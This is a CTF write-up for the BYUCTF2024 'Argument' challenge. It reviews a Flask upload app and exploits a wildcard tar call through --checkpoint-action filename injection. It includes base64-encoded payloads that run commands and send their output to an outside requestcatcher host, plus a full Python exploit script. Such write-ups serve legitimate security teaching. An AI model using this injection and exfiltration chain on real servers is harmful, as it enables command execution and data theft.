Post

BYUCTF2024 - Argument

On mai 2024, we paticipated to BYUCTF where we had the opportunity to work on this web challenge arround tar insecure use.

Argument

image

Description

The website is rather simple. It is composed of a unique page which is an upload form :

image

It allows you to upload any files without any restriction. Once you’ve uploaded one or more file, you can download them and the application returns the uploaded files in a .tar archive.

The files are stored in /upload/<uuid>/<filename> where <uuid> acts as a sort of session identifier.

The sources of the app are provided so let’s dig a bit further in the underlying code.

Code review

Here is the source of the app :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
# imports
from flask import Flask, g, render_template, request, redirect, make_response, send_file, after_this_request
import uuid, os


# initialize flask
app = Flask(__name__)


# ensure each user has a uuid session
@app.before_request
def check_uuid():
    uuid_cookie = request.cookies.get('uuid', None)

    # ensure user has uuid_cookie
    if uuid_cookie is None:
        response = make_response(redirect('/'))
        response.set_cookie('uuid', str(uuid.uuid4()))
        return response
    
    # ensure uuid_cookie is valid UUID
    try:
        uuid.UUID(uuid_cookie)
    except ValueError:
        response = make_response(redirect('/'))
        response.set_cookie('uuid', str(uuid.uuid4()))
        return response
    
    g.uuid = uuid_cookie

    if not os.path.exists(f'uploads/{g.uuid}'):
        os.mkdir(f'uploads/{g.uuid}')


# main dashboard
@app.route('/', methods=['GET'])
def main():
    return render_template('index.html', files=os.listdir(f'uploads/{g.uuid}'))
    

# upload file
@app.route('/api/upload', methods=['POST'])
def upload():
    file = request.files.get('file', None)
    if file is None:
        return 'No file provided', 400
    
    # check for path traversal
    if '..' in file.filename or '/' in file.filename:
        return 'Invalid file name', 400
    
    # check file size
    if len(file.read()) > 1000:
        return 'File too large', 400
    
    file.save(f'uploads/{g.uuid}/{file.filename}')
    return 'Success! <script>setTimeout(function() {window.location="/"}, 3000)</script>', 200


# download file
@app.route('/api/download', methods=['GET'])
def download():
    @after_this_request
    def remove_file(response):
        os.system(f"rm -rf uploads/{g.uuid}/out.tar")
        return response

    # make a tar of all files
    os.system(f"cd uploads/{g.uuid}/ && tar -cf out.tar *")

    # send tar to user
    return send_file(f"uploads/{g.uuid}/out.tar", as_attachment=True, download_name='download.tar', mimetype='application/octet-stream')



if __name__ == "__main__":
    app.run(host='0.0.0.0', port=1337, threaded=True, debug=True)

The application runs on a simple Flask server in Python. With this in mind, it becomes clear why there aren’t any particular restrictions on the types of files accepted: without PHP, it won’t be possible to execute webshells and other scripts that we might have uploaded.

However, we can see that the /api/download functionality uses os.system to perform a wildcard tar operation :

1
os.system(f"cd uploads/{g.uuid}/ && tar -cf out.tar *")

This takes every files within our upload folder and create a .tar archive. tar wildcards is a well-known vector for arbitrary command execution. In fact, it is possible to supply arguments as filename and to execute arbitrary OS commands using the checkpoint arguments :

      --checkpoint[=NUMBER]
              display progress messages every NUMBERth record (default 10)

       --checkpoint-action=ACTION
              execute ACTION on each checkpoint

Looks like we’ve just found our entry point! Let’s see how we can exploit it.

Exploit

We tried at first to upload a bash script and to see if we could execute it to have a callback.

  1. upload a file named --checkpoint=1
  2. upload a file named --checkpoint-action=exec sh shell.sh
  3. upload the shell.sh script :
1
2
3
#!/bin/bash

curl -X POST -d 'Hello World!' https://happi.requestcatcher.com/test

We upload the various files and and then… TADA! image

Shit, we didn’t get any callback, what the hell happened. Had to get back to source code to see what happened.

The challenge creator played a trick on us: the files are actually uploaded without their content as he used file = request.files.get('file', None) instead of file = request.files[file]. Our shell.sh script is therefore empty !

What’s left then ? To deal with this, we tried to use bash commands directly in the filename. We try to upload a file with name --checksec-action=exec=sh curl -X POST -d 'Hello World!' https://happi.requestcatcher.com/test directly and see if we can get a callback now.

image

Well, the answer is no :’)

If we look at the underlying request, we see that there is actually an issue with the filename. image

By the way, it is not possible to use / in the filename, and thus in our payload. It is therefore not possible to use commands such as cat /flag.txt. Damn, that will makes things a bit harder.

A simple trick to circumvent this is to base64 encode the payload : image

We encode our callback payload :

1
curl -X POST -d "$(id)" https://happi.requestcatcher.com/test

and this time, we finally get a callback !

image

We make a ls / to retrieve the name of the flag file and then we make a cat.

image

The flag is byuctf{argument_injection_stumped_me_the_most_at_D3FC0N_last_year} !

Exploit code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#!/usr/bin/env python3

from uuid import uuid4
import requests
import base64
import urllib3
urllib3.disable_warnings()

base_url = "https://argument.chal.cyberjousting.com"
# base_url = "http://127.0.0.1:1337"

routes = {
  "home": f"{base_url}/",
  "download": f"{base_url}/api/download",
  "upload": f"{base_url}/api/upload"
}

class Exploit:
  def __init__(self, s):
    self.uuid = uuid4()
    self.s = s
    self.s.verify = False
    self.s.proxies = {'http':'0.0.0.0:8080', 'https':'0.0.0.0:8080'}
    self.routes = routes
    self.s.get(self.routes['home'])


  def download(self):
    return self.s.get(self.routes["download"]).content.decode().strip().replace('\0', '')


  def upload(self, filename, data):
    files = {
      'file': (filename, data, 'application/x-shellscript'),
    }
    try:
      r = self.s.post(self.routes['upload'], files=files)
    except err as e:
      print("Something went wrong", e)


if __name__ == "__main__":
  x = Exploit(requests.session())
  
  cmd = b'ls /'  # filename is: /flag_89bb6db3a579141b2cd5c7d01fedf863
  cmd = b'cat /flag_89bb6db3a579141b2cd5c7d01fedf863'
  payload = b'curl -X POST -d "$('
  payload += cmd
  payload += b')" https://happi.requestcatcher.com/test'

  b64_payload = base64.b64encode(payload).decode().strip()
  exploit = f'echo {b64_payload} | base64 -d | sh'

  x.upload(filename="--checkpoint=1", data="")
  x.upload(filename=f'--checkpoint-action=exec={exploit}', data="")
  x.upload(filename="dummy", data="")
  _ = x.download()

Thanks you for reading, i want to extend a huge thank to the CTF organizers for putting together this nice event.

Happi

This post is licensed under CC BY 4.0 by the author.

Trending Tags